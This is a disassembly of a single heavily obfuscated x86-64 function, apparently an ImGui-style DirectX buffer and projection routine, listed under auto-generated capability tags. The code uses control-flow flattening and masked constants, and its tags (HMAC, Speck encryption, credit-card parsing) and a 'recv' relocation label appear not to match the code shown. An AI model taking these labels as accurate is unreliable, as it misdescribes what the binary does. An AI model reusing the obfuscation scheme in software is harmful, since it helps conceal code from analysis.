Function at 0x1403becb7
Capabilities:
Authenticate hmac
Encrypt data using speck
Parse credit card information

Disassembly:
push rax
pushf
mov eax, 0xff9d1bae
pushf
not eax
add eax, 0xe45e4906
xor eax, 0xcbccbb2b
rol eax, 0x99
popf
pushf
not eax
add eax, 0xa1064230
xor eax, 0xa8a82703
rol eax, 0xe3
popf
cmp eax, 0x29
jne 0x1403becf4
popf
pop rax
jmp 0x1403c1331
cmp eax, 0x48
jne 0x1403bed03
popf
pop rax
jmp 0x1403c2514
cmp eax, 0x3f
jne 0x1403bed12
popf
pop rax
jmp 0x1403c2071
cmp eax, 1
jne 0x1403bed21
popf
pop rax
jmp 0x1403bf261
cmp eax, 0x4a
jne 0x1403bed30
popf
pop rax
jmp 0x1403c268e
cmp eax, 0x1a
jne 0x1403bed3f
popf
pop rax
jmp 0x1403c09eb
cmp eax, 0x44
jne 0x1403bed4e
popf
pop rax
jmp 0x1403c22cb
cmp eax, 0x31
jne 0x1403bed5d
popf
pop rax
jmp 0x1403c18b2
cmp eax, 0x40
jne 0x1403bed6c
popf
pop rax
jmp 0x1403c2157
cmp eax, 8
jne 0x1403bed7b
popf
pop rax
jmp 0x1403bf766
cmp eax, 0x2a
jne 0x1403bed8a
popf
pop rax
jmp 0x1403c146d
cmp eax, 0x17
jne 0x1403bed99
popf
pop rax
jmp 0x1403c00a0
cmp eax, 0x1c
jne 0x1403beda8
popf
pop rax
jmp 0x1403c0add
cmp eax, 0x2e
jne 0x1403bedb7
popf
pop rax
jmp 0x1403c16c5
cmp eax, 0x4c
jne 0x1403bedc6
popf
pop rax
jmp 0x1403c2788
cmp eax, 0x2b
jne 0x1403bedd5
popf
pop rax
jmp 0x1403c14b7
cmp eax, 0x1b
jne 0x1403bede4
popf
pop rax
jmp 0x1403c0a29
cmp eax, 0x2d
jne 0x1403bedf3
popf
pop rax
jmp 0x1403c15fa
cmp eax, 0x23
jne 0x1403bee02
popf
pop rax
jmp 0x1403c0e4b
cmp eax, 0x25
jne 0x1403bee11
popf
pop rax
jmp 0x1403c0fec
cmp eax, 0x43
jne 0x1403bee20
popf
pop rax
jmp 0x1403c2232
cmp eax, 0x13
jne 0x1403bee2f
popf
pop rax
jmp 0x1403bfe81
cmp eax, 0x33
jne 0x1403bee3e
popf
pop rax
jmp 0x1403c1a09
cmp eax, 0x24
jne 0x1403bee4d
popf
pop rax
jmp 0x1403c0e83
cmp eax, 0x1e
jne 0x1403bee5c
popf
pop rax
jmp 0x1403c0b75
cmp eax, 0xc
jne 0x1403bee6b
popf
pop rax
jmp 0x1403bf986
cmp eax, 0x26
jne 0x1403bee7a
popf
pop rax
jmp 0x1403c10b1
cmp eax, 0x27
jne 0x1403bee89
popf
pop rax
jmp 0x1403c110f
cmp eax, 0x30
jne 0x1403bee98
popf
pop rax
jmp 0x1403c1842
cmp eax, 0x10
jne 0x1403beea7
popf
pop rax
jmp 0x1403bfce1
cmp eax, 0x37
jne 0x1403beeb6
popf
pop rax
jmp 0x1403c1bd7
cmp eax, 9
jne 0x1403beec5
popf
pop rax
jmp 0x1403bf7b1
cmp eax, 0x39
jne 0x1403beed4
popf
pop rax
jmp 0x1403c1d31
cmp eax, 0x16
jne 0x1403beee3
popf
pop rax
jmp 0x1403bffc0
cmp eax, 0x3b
jne 0x1403beef2
popf
pop rax
jmp 0x1403c1dce
cmp eax, 0x4b
jne 0x1403bef01
popf
pop rax
jmp 0x1403c26eb
cmp eax, 0x36
jne 0x1403bef10
popf
pop rax
jmp 0x1403c1b99
cmp eax, 0x14
jne 0x1403bef1f
popf
pop rax
jmp 0x1403bfef4
cmp eax, 0x46
jne 0x1403bef2e
popf
pop rax
jmp 0x1403c23cb
cmp eax, 0x3d
jne 0x1403bef3d
popf
pop rax
jmp 0x1403c1f0e
cmp eax, 2
jne 0x1403bef4c
popf
pop rax
jmp 0x1403bf2fe
cmp eax, 0x47
jne 0x1403bef5b
popf
pop rax
jmp 0x1403c2429
cmp eax, 0x41
jne 0x1403bef6a
popf
pop rax
jmp 0x1403c21a1
cmp eax, 0x11
jne 0x1403bef79
popf
pop rax
jmp 0x1403bfd2c
cmp eax, 0x35
jne 0x1403bef88
popf
pop rax
jmp 0x1403c1b5c
cmp eax, 0x3a
jne 0x1403bef97
popf
pop rax
jmp 0x1403c1d83
cmp eax, 0x12
jne 0x1403befa6
popf
pop rax
jmp 0x1403bfe23
cmp eax, 0x21
jne 0x1403befb5
popf
pop rax
jmp 0x1403c0d95
cmp eax, 0x38
jne 0x1403befc4
popf
pop rax
jmp 0x1403c1c83
cmp eax, 0xb
jne 0x1403befd3
popf
pop rax
jmp 0x1403bf914
cmp eax, 0xf
jne 0x1403befe2
popf
pop rax
jmp 0x1403bfba5
cmp eax, 0x15
jne 0x1403beff1
popf
pop rax
jmp 0x1403bff32
cmp eax, 5
jne 0x1403bf000
popf
pop rax
jmp 0x1403bf4b1
cmp eax, 6
jne 0x1403bf00f
popf
pop rax
jmp 0x1403bf549
cmp eax, 0x22
jne 0x1403bf01e
popf
pop rax
jmp 0x1403c0df2
cmp eax, 0x49
jne 0x1403bf02d
popf
pop rax
jmp 0x1403c255e
cmp eax, 0x1f
jne 0x1403bf03c
popf
pop rax
jmp 0x1403c0c15
cmp eax, 4
jne 0x1403bf04b
popf
pop rax
jmp 0x1403bf41f
cmp eax, 0x2f
jne 0x1403bf05a
popf
pop rax
jmp 0x1403c1735
cmp eax, 0x4d
jne 0x1403bf069
popf
pop rax
jmp 0x1403c27d2
cmp eax, 0x3e
jne 0x1403bf078
popf
pop rax
jmp 0x1403c2014
cmp eax, 0x45
jne 0x1403bf087
popf
pop rax
jmp 0x1403c2379
cmp eax, 0x2c
jne 0x1403bf096
popf
pop rax
jmp 0x1403c159d
cmp eax, 3
jne 0x1403bf0a5
popf
pop rax
jmp 0x1403bf35c
cmp eax, 0x19
jne 0x1403bf0b4
popf
pop rax
jmp 0x1403c0242
cmp eax, 0x1d
jne 0x1403bf0c3
popf
pop rax
jmp 0x1403c0b37
cmp eax, 0x34
jne 0x1403bf0d2
popf
pop rax
jmp 0x1403c1aec
cmp eax, 0x32
jne 0x1403bf0e1
popf
pop rax
jmp 0x1403c1999
cmp eax, 0xe
jne 0x1403bf0f0
popf
pop rax
jmp 0x1403bfb5a
cmp eax, 0x42
jne 0x1403bf0ff
popf
pop rax
jmp 0x1403c21e1
cmp eax, 7
jne 0x1403bf10e
popf
pop rax
jmp 0x1403bf5a2
cmp eax, 0x20
jne 0x1403bf11d
popf
pop rax
jmp 0x1403c0cd7
cmp eax, 0
jne 0x1403bf12c
popf
pop rax
jmp 0x1403bf177
cmp eax, 0x3c
jne 0x1403bf13b
popf
pop rax
jmp 0x1403c1eb1
cmp eax, 0xd
jne 0x1403bf14a
popf
pop rax
jmp 0x1403bfa05
cmp eax, 0xa
jne 0x1403bf159
popf
pop rax
jmp 0x1403bf85c
cmp eax, 0x18
jne 0x1403bf168
popf
pop rax
jmp 0x1403c01f7
cmp eax, 0x28
jne 0x1403bf177
popf
pop rax
jmp 0x1403c12f0
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x8d55d5f
pushf
not eax
add eax, 0xf49a7cca
xor eax, 0xe1710f31
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xff2a244d
xor eax, 0x9ddc8641
rol eax, 0xd9
popf
call fcn.1402eeb4f
sub rsp, rax
mov rax, qword [rsp + 0x1e60]
xorps xmm0, xmm0
comiss xmm0, dword [rax + 0x20]
jae 0x1403bf21b
push rax
pushf
mov eax, 0xa5c4ba97
pushf
not eax
add eax, 0xfee759ec
xor eax, 0xce8828ec
rol eax, 0x58
popf
pushf
not eax
add eax, 0xf11b9a3b
xor eax, 0xdc4c919b
rol eax, 0x24
popf
pushf
not eax
add eax, 0xcc732c2d
xor eax, 0x888abc41
rol eax, 0x15
popf
pushf
not eax
add eax, 0xce8a027e
xor eax, 0xf28b042f
rol eax, 0x5c
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xdb5934d0
pushf
not eax
add eax, 0xe2e0757c
xor eax, 0x92ad6163
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xfbd74838
xor eax, 0xc23aca47
rol eax, 0x55
popf
pushf
not eax
add eax, 0xcc887247
xor eax, 0xf025fb0d
rol eax, 0xeb
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e60]
xorps xmm0, xmm0
comiss xmm0, dword [rax + 0x24]
jb 0x1403bf2cb
push rax
pushf
mov eax, 0xf845dfbf
pushf
not eax
add eax, 0xf76115d0
xor eax, 0x93ac1bb7
rol eax, 0x90
popf
pushf
not eax
add eax, 0xc1263a4c
xor eax, 0xe7da113c
rol eax, 0x33
popf
pushf
not eax
add eax, 0xfc522527
xor eax, 0xb2a6ea7d
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xdd486cab
xor eax, 0xeff8b7f5
rol eax, 0x64
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x2c01b622
pushf
not eax
add eax, 0xaa77d595
xor eax, 0xd1065c50
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xb68546df
xor eax, 0x845c4fda
rol eax, 0xef
popf
jmp 0x1403bece5
jmp 0x1403c27d2
call fcn.140265be1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x18], 0
je 0x1403bf3c6
push rax
pushf
mov eax, 0x52d0151
pushf
not eax
add eax, 0xe5a0712b
xor eax, 0xe4d6be89
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf33de5b3
xor eax, 0x8ad84943
rol eax, 0x97
popf
pushf
not eax
add eax, 0xea61cfe2
xor eax, 0x833a9a5b
rol eax, 0xbe
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x54a6a687
pushf
not eax
add eax, 0x8509cdd8
xor eax, 0xd1e04e83
rol eax, 0x98
popf
pushf
not eax
add eax, 0xeaf38cd6
xor eax, 0xc3c49923
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xe0a5ccc3
xor eax, 0xf22f9913
rol eax, 0x19
popf
pushf
not eax
add eax, 0x9dbf5b04
xor eax, 0x8db73188
rol eax, 0x7a
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x1e60]
mov ecx, dword [rcx + 0xc]
cmp dword [rax + 0x70], ecx
jge 0x1403bf46b
push rax
pushf
mov eax, 0xabd3c7d3
pushf
not eax
add eax, 0xb2f33c46
xor eax, 0x811783b0
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf8eb11cf
xor eax, 0xb12cfd9b
rol eax, 0xc0
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xf39627da
pushf
not eax
add eax, 0xc5b00dc6
xor eax, 0xaf387ce0
rol eax, 0x89
popf
pushf
not eax
add eax, 0xf6af75a8
xor eax, 0xc67c634a
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xd92368b8
xor eax, 0x9a1bf3b6
rol eax, 0x2b
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x18], 0
je 0x1403bf4f0
push rax
pushf
mov eax, 0xc5f068c9
pushf
not eax
add eax, 0xcc6fd729
xor eax, 0xb9ca5ff3
rol eax, 0x20
popf
pushf
not eax
add eax, 0x81f9e051
xor eax, 0xc244b6a4
rol eax, 0xb6
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x5b9d353f
pushf
not eax
add eax, 0xad240c04
xor eax, 0xbae62fb2
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xe41fd3d1
xor eax, 0x8a4ed6b5
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe0e114c1
xor eax, 0x81251175
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x91b39795
xor eax, 0xc9bf8ad2
rol eax, 0xc7
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x18]
mov rcx, qword [rsp + 0x38]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax]
jmp 0x1403bf55f
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x18], 0
push rax
pushf
mov eax, 0x8231b201
pushf
not eax
add eax, 0xd38d6fa6
xor eax, 0x81240987
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc23f93b1
xor eax, 0xf1be1f8d
rol eax, 0x32
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e60]
mov eax, dword [rax + 0xc]
add eax, 0x1388
mov rcx, qword [rsp + 0x38]
mov dword [rcx + 0x70], eax
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18f24bf9
pushf
not ecx
add ecx, 0x933f2651
xor ecx, 0xde314d1d
rol ecx, 0xf9
popf
pushf
not ecx
add ecx, 0xb03b89d9
xor ecx, 0xe27def6a
rol ecx, 0xd8
popf
pushf
not ecx
add ecx, 0x96c3a6a6
xor ecx, 0xd6337e68
rol ecx, 0x27
popf
pushf
not ecx
add ecx, 0xb32b6331
xor ecx, 0xb636cd2f
rol ecx, 0x4d
popf
rep stosb byte [rdi], al
mov dword [rsp + 0xe4], 2
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x70]
imul rax, rax, 0x14
mov dword [rsp + 0xe0], eax
mov dword [rsp + 0xe8], 1
mov dword [rsp + 0xec], 0x10000
mov dword [rsp + 0xf0], 0
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x38]
add rax, 0x18
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x2a8]
jmp 0x1403bf6a9
call qword [rsp + 0x2b0]
test eax, eax
jge 0x1403bf70d
push rax
pushf
mov eax, 0x2a7ae7dc
pushf
not eax
add eax, 0x9d0e1fe3
xor eax, 0xd65e8305
rol eax, 0x22
popf
pushf
not eax
add eax, 0xa0d09bf8
xor eax, 0xa54de479
rol eax, 0x71
popf
pushf
not eax
add eax, 0xb76de89d
xor eax, 0xa2c91c42
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8f7e1c5a
xor eax, 0x84682f54
rol eax, 0x14
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x435eace6
pushf
not eax
add eax, 0xe951b09a
xor eax, 0xc0707d09
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x8fe835f4
xor eax, 0xec00b259
rol eax, 0x89
popf
pushf
not eax
add eax, 0x84569379
xor eax, 0xcee51af3
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf3698070
xor eax, 0xe4b46b51
rol eax, 0x22
popf
jmp 0x1403bece5
jmp 0x1403c27d2
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x20], 0
je 0x1403bf816
push rax
pushf
mov eax, 0x7bd70ace
pushf
not eax
add eax, 0x8067a845
xor eax, 0xa5fc64fc
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xcc3e7ef9
xor eax, 0xe70b04ac
rol eax, 0x24
popf
pushf
not eax
add eax, 0x9f08f20f
xor eax, 0xb449b10e
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xb580c7b6
xor eax, 0xe7f7fe33
rol eax, 7
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x9640af08
pushf
not eax
add eax, 0xd3b573ba
xor eax, 0xdd983573
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd4f76b91
xor eax, 0xa66c5965
rol eax, 0x72
popf
pushf
not eax
add eax, 0xe4a2fde4
xor eax, 0xff018073
rol eax, 0x13
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x1e60]
mov ecx, dword [rcx + 8]
cmp dword [rax + 0x74], ecx
jge 0x1403bf8bb
push rax
pushf
mov eax, 0x99bd9df0
pushf
not eax
add eax, 0xe657fc5f
xor eax, 0xfc93be96
rol eax, 0xba
popf
pushf
not eax
add eax, 0xc7c12206
xor eax, 0xb37d94fd
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xad865451
xor eax, 0xc1e6f8b1
rol eax, 0xe7
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xb2026ae
pushf
not eax
add eax, 0xc779b0fc
xor eax, 0xf9608488
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x97efc755
xor eax, 0xf4ad447f
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xab8bf96a
xor eax, 0xd8e352e5
rol eax, 0x68
popf
pushf
not eax
add eax, 0xf1610350
xor eax, 0xa018d989
rol eax, 0x80
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x20], 0
je 0x1403bf953
push rax
pushf
mov eax, 0xf4ad65b3
pushf
not eax
add eax, 0xdc544be2
xor eax, 0x8185a92c
rol eax, 0xba
popf
pushf
not eax
add eax, 0xae67c3b6
xor eax, 0xa40f3679
rol eax, 0x6c
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x21129168
pushf
not eax
add eax, 0x82ce79da
xor eax, 0x9ce43258
rol eax, 0x37
popf
pushf
not eax
add eax, 0xf017fb36
xor eax, 0xc1194b48
rol eax, 0x87
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x20]
mov rcx, qword [rsp + 0x38]
mov rcx, qword [rcx + 0x20]
mov rax, qword [rax]
jmp 0x1403bf99c
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x38]
mov qword [rax + 0x20], 0
push rax
pushf
mov eax, 0xab110925
pushf
not eax
add eax, 0xcfd2139c
xor eax, 0xe0d0f8b5
rol eax, 0xf
popf
pushf
not eax
add eax, 0xc7a8ec9f
xor eax, 0x9d9538c8
rol eax, 0x61
popf
pushf
not eax
add eax, 0xfb03ec10
xor eax, 0xe05cbb81
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9ed3c16d
xor eax, 0xebd09e9a
rol eax, 0xd7
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e60]
mov eax, dword [rax + 8]
add eax, 0x2710
mov rcx, qword [rsp + 0x38]
mov dword [rcx + 0x74], eax
lea rax, [rsp + 0x2b8]
mov rdi, rax
xor eax, eax
mov ecx, 0x7c332aae
pushf
not ecx
add ecx, 0xa62cf087
xor ecx, 0x9e64d10f
rol ecx, 0xd0
popf
pushf
not ecx
add ecx, 0xbe9cc74e
xor ecx, 0xaac50fb0
rol ecx, 0x6b
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x2bc], 2
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 0x74]
shl rax, 1
mov dword [rsp + 0x2b8], eax
mov dword [rsp + 0x2c0], 2
mov dword [rsp + 0x2c4], 0x10000
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x38]
add rax, 0x20
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2d0]
jmp 0x1403bfad6
call qword [rsp + 0x140]
test eax, eax
jge 0x1403bfb27
push rax
pushf
mov eax, 0xa396bce9
pushf
not eax
add eax, 0xc0a7e4cb
xor eax, 0xf95a0870
rol eax, 0x11
popf
pushf
not eax
add eax, 0x86a22b9d
xor eax, 0xa5cad450
rol eax, 0x12
popf
pushf
not eax
add eax, 0xdc4e4cf6
xor eax, 0xfef34223
rol eax, 0x51
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x6442cfe5
pushf
not eax
add eax, 0xfd46ea3c
xor eax, 0xd5e33a12
rol eax, 0x77
popf
pushf
not eax
add eax, 0xa9fef6c8
xor eax, 0x87d89d37
rol eax, 0xb7
popf
jmp 0x1403bece5
jmp 0x1403c27d2
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0x634e1b0a
pushf
not r9d
add r9d, 0xa2db852d
xor r9d, 0xa420b5c2
rol r9d, 0xeb
popf
pushf
not r9d
add r9d, 0xafdd910f
xor r9d, 0xf3da17a8
rol r9d, 0x92
popf
pushf
not r9d
add r9d, 0x853e6b70
xor r9d, 0xf2ff4363
rol r9d, 0xb0
popf
pushf
not r9d
add r9d, 0xd480138c
xor r9d, 0xf8412f73
rol r9d, 0x5e
popf
xor r8d, r8d
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x18]
mov rcx, qword [rsp + 0x30]
jmp 0x1403bfc4a
call qword [rsp + 0x148]
test eax, eax
je 0x1403bfc88
push rax
pushf
mov eax, 0xebd5e3ff
pushf
not eax
add eax, 0xa04e5c0c
xor eax, 0x8ed42b58
rol eax, 0x12
popf
pushf
not eax
add eax, 0xd45599eb
xor eax, 0x8704af31
rol eax, 0x81
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xf1f930d7
pushf
not eax
add eax, 0xd32526ec
xor eax, 0xbbf9c4d6
rol eax, 0x55
popf
pushf
not eax
add eax, 0xf2a9b6ce
xor eax, 0x91f9367b
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xacc8e242
xor eax, 0xb225e8be
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xfaa103b2
xor eax, 0xab622bcf
rol eax, 0xd6
popf
jmp 0x1403bece5
jmp 0x1403c27d2
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x2e8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0x5ca544ba
pushf
not r9d
add r9d, 0xd564fc65
xor r9d, 0xddd97ec2
rol r9d, 0xeb
popf
pushf
not r9d
add r9d, 0xb8976edd
xor r9d, 0x824ca9b1
rol r9d, 0x13
popf
xor r8d, r8d
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rsp + 0x30]
jmp 0x1403bfd9f
call qword [rsp + 0x150]
test eax, eax
je 0x1403bfdf0
push rax
pushf
mov eax, 0xce28c824
pushf
not eax
add eax, 0x81d30346
xor eax, 0x9eaaabf0
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xf3f2137b
xor eax, 0x8aec8318
rol eax, 0x79
popf
pushf
not eax
add eax, 0xd2c28e33
xor eax, 0xbcd78020
rol eax, 0xec
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x228be4ba
pushf
not eax
add eax, 0xad5c28ff
xor eax, 0xd7963b41
rol eax, 0x58
popf
pushf
not eax
add eax, 0xb5264e02
xor eax, 0xafc83782
rol eax, 0x74
popf
jmp 0x1403bece5
jmp 0x1403c27d2
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0x50], 0
jmp 0x1403bff32
mov eax, dword [rsp + 0x50]
jmp 0x1403bfef9
inc eax
mov dword [rsp + 0x50], eax
push rax
pushf
mov eax, 0x3469d747
pushf
not eax
add eax, 0x87cdae42
xor eax, 0xff5bfcf8
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x889f6f95
xor eax, 0x982f1b8f
rol eax, 0x25
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e60]
mov eax, dword [rax + 4]
cmp dword [rsp + 0x50], eax
jge 0x1403bff8d
push rax
pushf
mov eax, 0xb4490106
pushf
not eax
add eax, 0x81c431d4
xor eax, 0xc71c4316
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x86f02d18
xor eax, 0x8fca4357
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x9eb344b8
xor eax, 0xa894cf6a
rol eax, 0xba
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x739e1795
pushf
not eax
add eax, 0xbb5bb71d
xor eax, 0xbaa3e5e4
rol eax, 0x83
popf
pushf
not eax
add eax, 0xc5c84e3f
xor eax, 0xdcd50b1f
rol eax, 0x74
popf
jmp 0x1403bece5
movsxd rax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x1e60]
mov rcx, qword [rcx + 0x10]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x20]
imul rax, rax, 0x14
mov rcx, qword [rsp + 0x78]
mov rdi, qword [rsp + 0xc0]
mov rsi, qword [rcx + 0x28]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x10]
shl rax, 1
mov rcx, qword [rsp + 0x78]
mov rdi, qword [rsp + 0xc8]
mov rsi, qword [rcx + 0x18]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x20]
imul rax, rax, 0x14
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x10]
mov rcx, qword [rsp + 0xc8]
lea rax, [rcx + rax*2]
mov qword [rsp + 0xc8], rax
jmp 0x1403bfef4
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rsp + 0x158], rax
xor r8d, r8d
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x18]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c00c6
call qword [rsp + 0x158]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rsp + 0x160], rax
xor r8d, r8d
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c00f3
call qword [rsp + 0x160]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x168], rax
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0xa7df5a2f
pushf
not r9d
add r9d, 0xbf442d06
xor r9d, 0x9c0e0c5d
rol r9d, 0x1f
popf
pushf
not r9d
add r9d, 0xc328e26b
xor r9d, 0xfd713b1b
rol r9d, 0x3a
popf
pushf
not r9d
add r9d, 0xde38f244
xor r9d, 0xee38e923
rol r9d, 7
popf
xor r8d, r8d
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x38]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0186
call qword [rsp + 0x168]
test eax, eax
je 0x1403c01c4
push rax
pushf
mov eax, 0xd509d2ac
pushf
not eax
add eax, 0xc6250c25
xor eax, 0xa2e2b77c
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa30c447a
xor eax, 0xc2c7c4e1
rol eax, 0x95
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x159247d5
pushf
not eax
add eax, 0x9a9ab345
xor eax, 0x94575384
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xdb04ede3
xor eax, 0xfbd8a866
rol eax, 0x69
popf
jmp 0x1403bece5
jmp 0x1403c27d2
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x1e60]
movss xmm0, dword [rax + 0x18]
movss dword [rsp + 0x5c], xmm0
mov rax, qword [rsp + 0x1e60]
mov rcx, qword [rsp + 0x1e60]
movss xmm0, dword [rax + 0x18]
addss xmm0, dword [rcx + 0x20]
movss dword [rsp + 0x60], xmm0
mov rax, qword [rsp + 0x1e60]
movss xmm0, dword [rax + 0x1c]
movss dword [rsp + 0x68], xmm0
mov rax, qword [rsp + 0x1e60]
mov rcx, qword [rsp + 0x1e60]
movss xmm0, dword [rax + 0x1c]
addss xmm0, dword [rcx + 0x24]
movss dword [rsp + 0x64], xmm0
movss xmm0, dword [rsp + 0x60]
subss xmm0, dword [rsp + 0x5c]
movss xmm1, dword [0x140118978]
divss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x100], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x104], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x108], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x10c], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x110], xmm0
movss xmm0, dword [rsp + 0x68]
subss xmm0, dword [rsp + 0x64]
movss xmm1, dword [0x140118978]
divss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x114], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x118], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x11c], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x120], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x124], xmm0
movss xmm0, dword [0x140118940]
movss dword [rsp + 0x128], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x12c], xmm0
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [rsp + 0x5c]
movss xmm1, dword [rsp + 0x5c]
subss xmm1, dword [rsp + 0x60]
divss xmm0, xmm1
movss dword [rsp + 0x130], xmm0
movss xmm0, dword [rsp + 0x68]
addss xmm0, dword [rsp + 0x64]
